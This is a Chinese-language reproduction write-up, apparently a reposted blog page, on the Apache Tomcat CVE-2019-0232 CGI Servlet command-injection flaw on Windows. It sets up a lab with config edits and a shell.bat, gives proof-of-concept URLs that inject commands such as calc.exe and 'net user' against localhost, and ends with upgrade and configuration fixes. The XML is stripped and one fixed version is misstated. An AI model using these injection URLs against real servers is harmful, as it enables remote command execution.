Apache Tomcat CVE-2019-0232 远程代码执行漏洞


2019年4月10日,Apache Tomcat报告了一个漏洞称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的。


影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

复现环境

本次漏洞复现使用XAMPP 3.2.2集成环境。
Tomcat : 7.0.56
Java: 1.8.0_121


Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第1张图片
0X00修改配置文件

修改web.xml


        cgi
        org.apache.catalina.servlets.CGIServlet
        
          debug
          0
        
        
          cgiPathPrefix
          WEB-INF/cgi-bin
        
        
          executable
          
        
         5
 



    
        cgi
        /cgi-bin/*
    

修改content.xml



    
    
    WEB-INF/web.xml
    ${catalina.base}/conf/web.xml

    
    

在/webapps/ROOT/WEB-INF下创建cgi-bin文件夹,并创建shell.bat文件。


Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第2张图片

shell.bat文件内容如下,并启动tomcat。

@echo off
eco Content-Type: text/plain
echo.
set foo=%~1
%foo%

访问测试

http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\calc.exe
http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\net.exe user

Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第3张图片

Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第4张图片

修复措施

一、受影响的用户应该升级到以下版本:

Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本

二、临时解决方案
在web.xml文件中将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。


Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第5张图片
Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第6张图片

你可能感兴趣的:(Apache Tomcat CVE-2019-0232 远程代码执行漏洞)